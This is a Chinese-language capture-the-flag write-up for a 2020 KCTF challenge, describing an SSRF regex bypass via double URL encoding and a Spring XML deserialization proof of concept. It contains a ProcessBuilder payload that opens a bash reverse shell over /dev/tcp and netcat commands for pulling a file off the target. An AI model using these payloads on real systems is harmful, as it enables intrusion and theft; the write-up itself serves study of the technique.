2020-kcft-秋季赛-1.至暗时刻WP

2020-kcft-秋季赛-至暗时刻WP - 布墨

  1. 相识

    20201118115532

    1. http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg
    2. http://121.36.145.157:8088/loadConfig?url=x.xml
  2. 相知

    1. 链接1 经测试会加载url参数的地址
    2. 链接2 返回not allow ip 猜测需要过这个ip校验
      20201118115958
      发现第一个链接会校验url参数的格式
      ^(http|https):\/\/[^?#\/]\.pediy\.com\/.
      绕过正则: http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%253f.pediy.com/ http://localhost:8080?.pediy.com/ localhost:8080? 俩次url编码 (浏览器请求的时候默认就是一次url编码,服务器收到会解码一次 所以需要俩次
  3. 相杀
    20201118124311
    java写的服务,然后有个FileSystemXmlApplicationContext猜测是CVE-2019-2725的洞
    构建poc反弹shell 链接上之后拿到.jar文件 反编译即可

  4. POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/127.0.0.1/9090 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
  1. 遇到的问题

    1. 怎么从靶机中下载文件

      1. 主机:nc -lvnp prot > 1.jar
      2. 靶机:cat x.jar>/dev/tcp/ip/prot
    2. 出题当天晚上我曾用poc链接上 后来断了 那天晚上就一直连接不上了。。不知道为什么,第二天莫名其妙的可以了。。。

参考文章:
CVE-2019-2725 二次反序列化FileSystemXmlApplicationContext Gadget POC

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...